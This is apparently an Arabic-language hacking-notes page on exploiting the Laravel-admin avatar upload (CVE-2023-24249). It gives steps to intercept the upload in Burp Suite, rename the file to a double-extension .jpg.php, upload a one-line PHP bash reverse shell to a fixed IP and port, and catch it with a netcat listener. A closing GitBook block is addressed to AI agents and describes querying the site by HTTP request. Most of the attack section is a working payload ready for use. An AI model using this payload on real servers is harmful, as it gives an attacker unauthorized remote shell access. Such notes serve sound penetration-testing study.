> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/file-upload-attack/file-upload-php-pentesting-web.md).

# رفع ملفات PHP

## رفع الملفات (Laravel-admin)

في تطبيق Laravel-admin، يتيح قسم ما رفع صورة رمزية. ومن خلال استغلال هذه الميزة، يمكننا إرسال ملف خبيث للحصول على وصول غير مصرح به إلى الخادم.

{% embed url="<https://flyd.uk/post/cve-2023-24249/>" %}

<figure><img src="/files/cf843a4d5f2599f8114a13552635d7af359c9e50" alt=""><figcaption></figcaption></figure>

### **خطوات الاستغلال:**

1. **اعتراض وتعديل ملف الصورة الرمزية**:
   * اعترض الطلب باستخدام Burp Suite.
   * عدّل قيم المتغير `الاسم` لإضافة امتداد PHP بعد ملف صورة وهمي، على سبيل المثال: `hack.jpg.php`.

<figure><img src="/files/b37b9de50a7fdfafdd0480ff117187fe1b790681" alt=""><figcaption></figcaption></figure>

* يجب أن يكون محتوى الملف عبارة عن reverse shell، مثل:

```php
<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.9/443 0>&1'"); ?>

```

<figure><img src="/files/ef86310dad0951f6a2a356f6d10274936b481d3e" alt=""><figcaption></figcaption></figure>

**ابدأ مستمعًا باستخدام Netcat**:

* ابدأ المستمع على المنفذ 443 باستخدام Netcat:

```bash
nc -nlvp 443

```

<figure><img src="/files/fb27e7b300b3327c3e63fed0ba28334fa73f8c78" alt="" width="563"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web-vulnerabilities/file-upload-attack/file-upload-php-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
